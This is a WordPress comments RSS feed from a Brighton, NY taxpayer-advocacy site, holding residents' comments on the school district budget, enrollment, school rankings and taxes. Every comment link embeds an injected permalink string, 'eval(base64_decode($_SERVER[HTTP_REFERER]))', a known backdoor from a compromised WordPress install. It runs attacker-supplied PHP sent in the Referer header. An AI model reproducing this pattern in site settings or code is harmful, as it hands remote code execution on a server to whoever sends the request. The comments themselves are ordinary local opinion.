<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments for </title>
	<atom:link href="http://www.asibrighton.org/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.asibrighton.org</link>
	<description></description>
	<pubDate>Tue, 07 Sep 2010 14:26:26 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
		<item>
		<title>Comment on Reading the Preliminary Budget Overview by Another Taxpayer</title>
		<link>http://www.asibrighton.org/2009/02/20/reading-the-preliminary-budget-overview/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-168</link>
		<dc:creator>Another Taxpayer</dc:creator>
		<pubDate>Wed, 25 Feb 2009 07:03:40 +0000</pubDate>
		<guid isPermaLink="false">http://www.asibrighton.org/?p=111#comment-168</guid>
		<description>Enrollment is down again, as it has been for the past 3 years.  Only by showing the 10 year chart are they able to say there has been a .6% increase or whatever.

Most professionals I know in the district could easily chop 1/2 to a million out of the budget in a few hours, WITHOUT getting into special ed, which is a whole other problem.

What other districts are doing, and I'm sure Brighton is no different, is moving administrators around by changing titles, job descriptions, etc. So no cuts there. Oh well, budget will get passed again.</description>
		<content:encoded><![CDATA[<p>Enrollment is down again, as it has been for the past 3 years.  Only by showing the 10 year chart are they able to say there has been a .6% increase or whatever.</p>
<p>Most professionals I know in the district could easily chop 1/2 to a million out of the budget in a few hours, WITHOUT getting into special ed, which is a whole other problem.</p>
<p>What other districts are doing, and I&#8217;m sure Brighton is no different, is moving administrators around by changing titles, job descriptions, etc. So no cuts there. Oh well, budget will get passed again.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on BCSD e-News by cmjones</title>
		<link>http://www.asibrighton.org/2009/01/23/bcsd-e-news/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-167</link>
		<dc:creator>cmjones</dc:creator>
		<pubDate>Fri, 23 Jan 2009 17:58:41 +0000</pubDate>
		<guid isPermaLink="false">http://www.asibrighton.org/?p=108#comment-167</guid>
		<description>Do not be put off when you read in the sign up section of the BSD website: : "Brighton e-news is an easy way to receive information from your child's school and the PTSA...."  You do not need to have a child in the system to sign up, nor do you need to have any interest in the Parent Teacher Association.  ALL Brighton School District residents pay for our public schools, directly through property taxes or indirectly, through rent. All are entitled to vote on the school budget.   All are stakeholders, and entitled to participate in the decision making process.</description>
		<content:encoded><![CDATA[<p>Do not be put off when you read in the sign up section of the BSD website: : &#8220;Brighton e-news is an easy way to receive information from your child&#8217;s school and the PTSA&#8230;.&#8221;  You do not need to have a child in the system to sign up, nor do you need to have any interest in the Parent Teacher Association.  ALL Brighton School District residents pay for our public schools, directly through property taxes or indirectly, through rent. All are entitled to vote on the school budget.   All are stakeholders, and entitled to participate in the decision making process.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on BCSD Board Hosts Community Forum Jan 20, 2009 by cmjones</title>
		<link>http://www.asibrighton.org/2009/01/13/bcsd-board-hosts-community-forum-jan-20-2009/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-166</link>
		<dc:creator>cmjones</dc:creator>
		<pubDate>Wed, 14 Jan 2009 21:12:52 +0000</pubDate>
		<guid isPermaLink="false">http://www.asibrighton.org/?p=107#comment-166</guid>
		<description>I would add that when I last looked, I saw two people on the admisitration staff lists who's job titles suggest they are primarily responsible for community communication.  What is going on? Perhaps they don't understand that "community" means ALL Brighton school district residents?</description>
		<content:encoded><![CDATA[<p>I would add that when I last looked, I saw two people on the admisitration staff lists who&#8217;s job titles suggest they are primarily responsible for community communication.  What is going on? Perhaps they don&#8217;t understand that &#8220;community&#8221; means ALL Brighton school district residents?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Assess Effectiveness of Tech $$$ by Catherine Jones</title>
		<link>http://www.asibrighton.org/2008/10/29/84/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-119</link>
		<dc:creator>Catherine Jones</dc:creator>
		<pubDate>Thu, 06 Nov 2008 17:38:37 +0000</pubDate>
		<guid isPermaLink="false">http://www.asibrighton.org/?p=84#comment-119</guid>
		<description>I read your Diary with interest.  Did you ever get an answer on the question of the technology background of the PTSA members?  I do not understand why the technology review is so "in-house".  What is the use?  The incentives are stacked so that the committee will inevitably rubber-stamp whatever is going on, including massive overspending.  The review should be by an independent committee or not at all.  Another colossal waste of time and resources.  - cm jones</description>
		<content:encoded><![CDATA[<p>I read your Diary with interest.  Did you ever get an answer on the question of the technology background of the PTSA members?  I do not understand why the technology review is so &#8220;in-house&#8221;.  What is the use?  The incentives are stacked so that the committee will inevitably rubber-stamp whatever is going on, including massive overspending.  The review should be by an independent committee or not at all.  Another colossal waste of time and resources.  - cm jones</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Latest Newsweek Ranking.  BCSD still falling. by cmjones</title>
		<link>http://www.asibrighton.org/2008/06/20/post-1/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-13</link>
		<dc:creator>cmjones</dc:creator>
		<pubDate>Wed, 23 Jul 2008 23:05:57 +0000</pubDate>
		<guid isPermaLink="false">http://www.asibrighton.org/?p=23#comment-13</guid>
		<description>It may interest (and surprise?)readers of this post to know that Brighton HS was soundly beaten in these ratings by both Pittsford Sutherland and Pittsford Mendon, by Wilson Magnet in the City, and by Odyssey Academy in Greece.</description>
		<content:encoded><![CDATA[<p>It may interest (and surprise?)readers of this post to know that Brighton HS was soundly beaten in these ratings by both Pittsford Sutherland and Pittsford Mendon, by Wilson Magnet in the City, and by Odyssey Academy in Greece.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Upstate NY makes Top Ten Population LOSERS by Hein Goemans</title>
		<link>http://www.asibrighton.org/2008/07/13/top-ten-population-losers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-12</link>
		<dc:creator>Hein Goemans</dc:creator>
		<pubDate>Thu, 17 Jul 2008 20:50:05 +0000</pubDate>
		<guid isPermaLink="false">http://www.asibrighton.org/?p=49#comment-12</guid>
		<description>It would be interesting to compare Brighton to Pittsford and other school districts in the vicinity.</description>
		<content:encoded><![CDATA[<p>It would be interesting to compare Brighton to Pittsford and other school districts in the vicinity.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Upstate NY makes Top Ten Population LOSERS by cmjones</title>
		<link>http://www.asibrighton.org/2008/07/13/top-ten-population-losers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-11</link>
		<dc:creator>cmjones</dc:creator>
		<pubDate>Tue, 15 Jul 2008 12:28:47 +0000</pubDate>
		<guid isPermaLink="false">http://www.asibrighton.org/?p=49#comment-11</guid>
		<description>Manufacturing losses may explain the Ohio exodus, but it's no secret that high taxes are driving the NYS losses.  With high sales tax, high income tax, and the 4th highest property taxes amidst all the states, we are staggering under the burden. We have a choice: fight or flight.  Become a tax activist and join ASI!</description>
		<content:encoded><![CDATA[<p>Manufacturing losses may explain the Ohio exodus, but it&#8217;s no secret that high taxes are driving the NYS losses.  With high sales tax, high income tax, and the 4th highest property taxes amidst all the states, we are staggering under the burden. We have a choice: fight or flight.  Become a tax activist and join ASI!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Test Scores - D&#038;C June 24, 2008 by MikeS</title>
		<link>http://www.asibrighton.org/2008/06/25/test-scores-dc-june-24-2008/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-10</link>
		<dc:creator>MikeS</dc:creator>
		<pubDate>Mon, 30 Jun 2008 19:20:31 +0000</pubDate>
		<guid isPermaLink="false">http://www.asibrighton.org/?p=37#comment-10</guid>
		<description>This is a test comment for MikeS.</description>
		<content:encoded><![CDATA[<p>This is a test comment for MikeS.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on District Turns-Down $18,000 In FREE Money by MikeS</title>
		<link>http://www.asibrighton.org/2008/06/22/district-turns-down-18000-in-free-money/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-9</link>
		<dc:creator>MikeS</dc:creator>
		<pubDate>Sun, 29 Jun 2008 22:37:27 +0000</pubDate>
		<guid isPermaLink="false">http://www.asibrighton.org/?p=33#comment-9</guid>
		<description>This is a 2nd comment.</description>
		<content:encoded><![CDATA[<p>This is a 2nd comment.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on District Turns-Down $18,000 In FREE Money by Al Gubiotti</title>
		<link>http://www.asibrighton.org/2008/06/22/district-turns-down-18000-in-free-money/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-8</link>
		<dc:creator>Al Gubiotti</dc:creator>
		<pubDate>Mon, 23 Jun 2008 20:00:44 +0000</pubDate>
		<guid isPermaLink="false">http://www.asibrighton.org/?p=33#comment-8</guid>
		<description>This is a comment from Al Gubiotti.</description>
		<content:encoded><![CDATA[<p>This is a comment from Al Gubiotti.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
